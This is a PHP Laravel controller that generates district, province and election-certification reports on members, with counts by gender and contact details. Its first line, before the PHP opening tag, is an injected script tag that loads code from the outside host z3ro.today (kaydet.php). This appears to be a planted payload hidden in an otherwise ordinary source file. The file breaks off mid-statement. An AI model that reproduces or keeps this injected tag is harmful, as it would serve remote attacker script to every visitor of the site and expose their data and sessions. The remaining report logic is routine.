<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\Reports;

use App\Http\Controllers\Controller;
use App\Models\Province;
use App\Models\District;
use App\Models\Members;
use Illuminate\Http\Request;

class DistrictReportController extends Controller
{
    //
    public function districtrep(Request $request)
    {
        $districts = District::pluck('district_name', 'id');
        $provinces = Province::pluck('province', 'id');
        $showingReport = false;

        // Retrieve selected data from the form
        $selectedDistrict = $request->input('district_id');
        $selectedProvince = $request->input('province_id');
        $selectedLevelType = $request->input('level_type');

        $results = [];
        $sns = '0';
        $countMale = '0';
        $countFemale = '0';
        $districtName = '';
        $provinceName = '';
        if (($selectedProvince || $selectedDistrict) && $selectedLevelType ) {
            if($selectedProvince) {
            $provinceName = Province::findOrFail($selectedProvince);
        } else {
            $provinceName = '';

        }
            if($selectedDistrict) {
            $districtName = District::findOrFail($selectedDistrict);
            } else {
                $districtName = '';
            }


            if ($selectedLevelType == '1') {
                $level_ids = ['5'];
            } else {
                $level_ids = ['1', '2', '3', '4'];
            }

            // Start with a base query
            $query = Members::query();

            // Add conditions for selected fields
            if ($selectedProvince && $selectedLevelType) {
                // $query->where('district_id', $selectedDistrict)->whereIn('level_id', $level_ids);
                // $query->where('district_id', $selectedDistrict)->where('app_status', '2')->where('certificate_status', '!=', '1')->whereIn('level_id', $level_ids);
                   $query->where('province_id', $selectedProvince)->where('app_status', '2')->where('certificate_status', '!=', '1')->whereIn('level_id', $level_ids);
            }

            if($selectedDistrict) {
                $query = $query->where('district_id', $selectedDistrict);
            }

            // Execute the query
            $results = $query->orderBy('locallevel_id', 'asc')->orderBy('ward', 'asc')->get();

            // get number of certified members for the selected district and level
            $sns = Members::where('app_status', '2')
                ->where('certificate_status', '1')
                ->where('district_id', $selectedDistrict)
                ->whereIn('level_id', $level_ids)
                ->count();

            $countMale = $query->where('gender', '1')->whereIn('level_id', $level_ids)->count();

            // counting number of females
            $countFemales = Members::query();


            if ($selectedDistrict  && $selectedLevelType) {
                $countFemales->where('district_id', $selectedDistrict)->whereIn('level_id', $level_ids);
            }

            $countFemale = $countFemales->where('gender', '2')->count();

            session()->put('report-back', route('districtrep', 'countMale', 'countFemale'));


            $showingReport = true;


        }

        // Pass the results to the view
        return view('reports.districtreport', compact('showingReport','provinces', 'results', 'districts', 'countMale', 'countFemale', 'districtName', 'provinceName', 'selectedLevelType', 'sns'));
    }


    public function districtcertifrep(Request $request)
    {
        $districts = District::pluck('district_name', 'id');
        $showingReport = false;

        // Retrieve selected data from the form
        $selectedDistrict = $request->input('district_id');
        $selectedLevelType = $request->input('level_type');

        $results = [];
        $sns = '0';
        $countMale = 0;
        $countFemale = 0;
        $districtName = '';

        if ($selectedDistrict && $selectedLevelType) {

            $districtName = District::findOrFail($selectedDistrict);

            if ($selectedLevelType == '1') {
                $level_ids = ['5'];
            } else {
                $level_ids = ['1', '2', '3', '4'];
            }

            // Start with a base query
            $query = Members::query();

            // Add conditions for selected fields
            if ($selectedDistrict && $selectedLevelType) {
                $query->where('district_id', $selectedDistrict)
                    ->where('app_status', '2')
                    ->where('certificate_status', '1')
                    ->whereIn('level_id', $level_ids);
            }

            // Execute the query
            $results = $query->orderBy('reg_no', 'asc')->get();

            // Count males
            $countMale = Members::where('district_id', $selectedDistrict)
                                ->where('app_status', '2')
                                ->where('certificate_status', '1')
                                ->whereIn('level_id', $level_ids)
                                ->where('gender', '1')
                                ->count();

            // Count females
            $countFemale = Members::where('district_id', $selectedDistrict)
                                ->where('app_status', '2')
                                ->where('certificate_status', '1')
                                ->whereIn('level_id', $level_ids)
                                ->where('gender', '2')
                                ->count();

            session()->put('report-back', route('districtrep'));

            $showingReport = true;
        }

        // Pass the results to the view
        return view('reports.districtcertifreport', compact('showingReport', 'results', 'districts', 'countMale', 'countFemale', 'districtName', 'selectedLevelType', 'sns'));
    }

    public function electioncertifrep(Request $request)
    {
        $districts = District::pluck('district_name', 'id');
        $showingReport = false;

        // Retrieve selected data from the form
        $selectedDistrict = $request->input('district_id');

        $results = [];
        $sns = '0';
        $countMale = '0';
        $countFemale = '0';
        $districtName = '';
        if ($selectedDistrict) {

            $districtName = District::findOrFail($selectedDistrict);
            $level_ids = ['1', '2', '3', '4'];

            // Start with a base query
            $query = Members::query();

            // Add conditions for selected fields
            if ($selectedDistrict) {
                // $query->where('district_id', $selectedDistrict)->whereIn('level_id', $level_ids);
                $query->where('district_id', $selectedDistrict)->where('app_status', '2')->where('certificate_status', '1')->whereIn('level_id', $level_ids);
            }

            // Execute the query
            $results = $query->orderBy('reg_no', 'asc')->get();
            $countMale = $query->where('gender', '1')->whereIn('level_id', $level_ids)->count();

            // counting number of females
            $countFemales = Members::query();

            if ($selectedDistrict) {
                $countFemales->where('district_id', $selectedDistrict)->whereIn('level_id', $level_ids);
            }
            $countFemale = $countFemales->where('gender', '2')->count();

            session()->put('report-back', route('districtrep', 'countMale', 'countFemale'));

            $showingReport = true;
        }

        // Pass the results to the view
        return view('reports.electioncertifreport', compact('showingReport', 'results', 'districts', 'countMale', 'countFemale', 'districtName', 'sns'));
    }


    public function electioncertifrepall(Request $request)
    {
        $showingReport = true;

        $members = Members::with(['district', 'province', 'locallevel'])
            ->select('reg_no', 'name', 'nameeng', 'gender', 'fname', 'ward', 'tole', 'election_province_id', 'province_id', 'district_id', 'locallevel_id', 'level_id')
            ->where('app_status', '2')
            ->where('certificate_status', '1')
            ->where('level_id', '!=', '5')
            ->orderBy('election_province_id', 'asc')
            ->orderBy('district_id', 'asc')
            ->get(); // Paginate the results

        session()->put('report-back', make_route('election-reports.param'));

        return view('reports.allelectioncertifreport', compact('showingReport', 'members'));
    }

    public function electioncertifrepallphone(Request $request)
    {
        $showingReport = true;

        $members = Members::with(['district', 'province', 'locallevel'])
            ->select('reg_no', 'name', 'nameeng', 'gender', 'fname', 'ward', 'tole', 'election_province_id', 'province_id', 'district_id', 'locallevel_id', 'level_id','mobileno')
            ->where('app_status', '2')
            ->where('certificate_status', '1')
            ->where('level_id', '!=', '5')
            ->orderBy('election_province_id', 'asc')
            ->orderBy('district_id', 'asc')
            ->get(); // Paginate the results

        session()->put('report-back', make_route('election-reports.param'));

        return view('reports.allelectioncertifreportph